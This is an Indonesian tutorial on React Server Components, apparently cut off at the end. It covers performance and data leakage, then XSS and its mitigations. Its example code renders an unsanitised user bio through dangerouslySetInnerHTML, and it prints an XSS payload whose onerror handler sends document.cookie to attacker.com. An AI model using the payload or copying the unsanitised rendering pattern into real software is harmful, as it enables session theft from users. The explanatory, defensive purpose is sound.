React Server Components: Meningkatkan Performa Web Tanpa Mengorbankan Keamanan
Pendahuluan
React Server Components (RSC) telah membawa perubahan besar dalam cara kita membangun aplikasi web modern. Dengan memindahkan sebagian besar logika rendering ke server, RSC mampu mengurangi ukuran JavaScript bundle secara drastis dan mempercepat waktu muat halaman. Namun, aliran data antara server dan client yang tak terlihat ini juga membuka celah keamanan baru. Artikel ini akan membahas implementasi RSC, cara kerjanya, analisis keamanan yang mendalam, serta langkah-langkah pencegahan yang wajib diterapkan oleh setiap developer.
Pembahasan: Apa itu React Server Components?
RSC adalah paradigma yang memperkenalkan dua jenis komponen: Server Components (SC) dan Client Components (CC). Server Components hanya berjalan di server, memiliki akses langsung ke database, dan tidak memiliki interaktivitas atau state. Sedangkan Client Components berjalan di browser dan dapat menggunakan hooks seperti useState dan useEffect.
Hasil rendering Server Component yang sudah berupa React element tree dikirim ke client dalam format serialization yang disebut RSC Payload. Payload ini berisi props yang dikirim dari server ke client component. Dengan begitu, browser hanya menerima hasil render yang ringkas, bukan seluruh kode komponen server.
Contoh Implementasi Sederhana
Berikut contoh Server Component yang mengambil data pengguna dari database dan mengirimkannya ke Client Component:
// UserProfile.server.jsx
import db from '@/lib/db';
export default async function UserProfile({ userId }) {
const user = await db.user.findUnique({ where: { id: userId } });
// Kirim hanya data yang diperlukan ke client component
return <ProfileDetail user={user} />;
}
// ProfileDetail.client.jsx
export default function ProfileDetail({ user }) {
return (
<div>
<h2>{user.name}</h2>
<p dangerouslySetInnerHTML={{ __html: user.bio }} />
</div>
);
}
Tips praktis untuk performa: Setiap prop yang dikirim dari server ke client akan diserialisasi ke dalam RSC Payload. Semakin banyak data yang dikirim, semakin besar payload-nya dan berdampak pada waktu pemrosesan. Oleh karena itu, kirim hanya data yang benar-benar dibutuhkan oleh client component. Gunakan React.cache() untuk menghindari query database berulang, dan kombinasikan RSC dengan Streaming SSR untuk memberikan respons awal yang cepat.
Analisis Keamanan: Bagaimana Celah Bisa Dieksploitasi?
Dengan adanya pemindahan data antara server dan client, muncul dua celah keamanan utama. Pertama adalah data leakage. Semua props dari Server Component ke Client Component terkirim dalam RSC Payload yang bisa dibaca siapa saja melalui Network Tab di browser. Jika developer secara tidak sengaja mengirim token, password hash, atau data internal, maka informasi itu langsung terekspos.
Kedua adalah XSS (Cross-Site Scripting) melalui penggunaan dangerouslySetInnerHTML pada data yang belum disanitasi. Misalnya, Server Component mengambil komentar user dari database tanpa pembersihan, lalu mengirimkannya sebagai string mentah ke Client Component yang merendernya langsung sebagai HTML. Perhatikan payload di bawah ini:
// Payload komentar jahat yang dikirim attacker
{
"content": "<img src=x onerror=\"fetch('https://attacker.com/steal?cookie='+document.cookie)\">",
"author": "attacker"
}
Ketika client component merender komentar tersebut dengan dangerouslySetInnerHTML, script pada atribut onerror akan dieksekusi. Cookie pengguna yang sah dapat dicuri dan dikirim ke server attacker. Ini adalah serangan XSS klasik yang menjadi lebih berbahaya karena Server Component mengambil data langsung dari database dan melewati semua batas keamanan di browser.
Cara Pencegahan yang Detail
Untuk melindungi aplikasi yang menggunakan RSC, terapkan langkah-langkah mitigasi berikut:
- Filter dan Batasi Props: Jangan pernah mengirim data sensitif dari Server Component ke Client Component. Buat Data Transfer Object (DTO) yang hanya berisi field yang dibutuhkan untuk rendering.
- Sanitasi di Server: Gunakan library seperti
DOMPurifydi server untuk membersihkan HTML dari semua tag berbahaya sebelum dikirim ke client. Jangan mengandalkan client untuk sanitasi. - Hindari dangerousSetInnerHTML: Jika memungkinkan, gunakan komponen renderer yang aman dan parse teks biasa. Jika terpaksa memakai
dangerouslySetInnerHTML, pastikan data sudah disanitasi di server. - Gunakan Prepared Statement / ORM yang Aman: Karena Server Component memiliki akses langsung ke database, salah satu celah lain adalah SQL injection. Selalu gunakan prepared statement atau ORM modern untuk menghindari manipulasi query.
- Kuranginya Privilege Database: Buat akun database khusus untuk Server Component dengan permission minimal, misalnya hanya bisa melakukan read pada tabel tertentu, bukan drop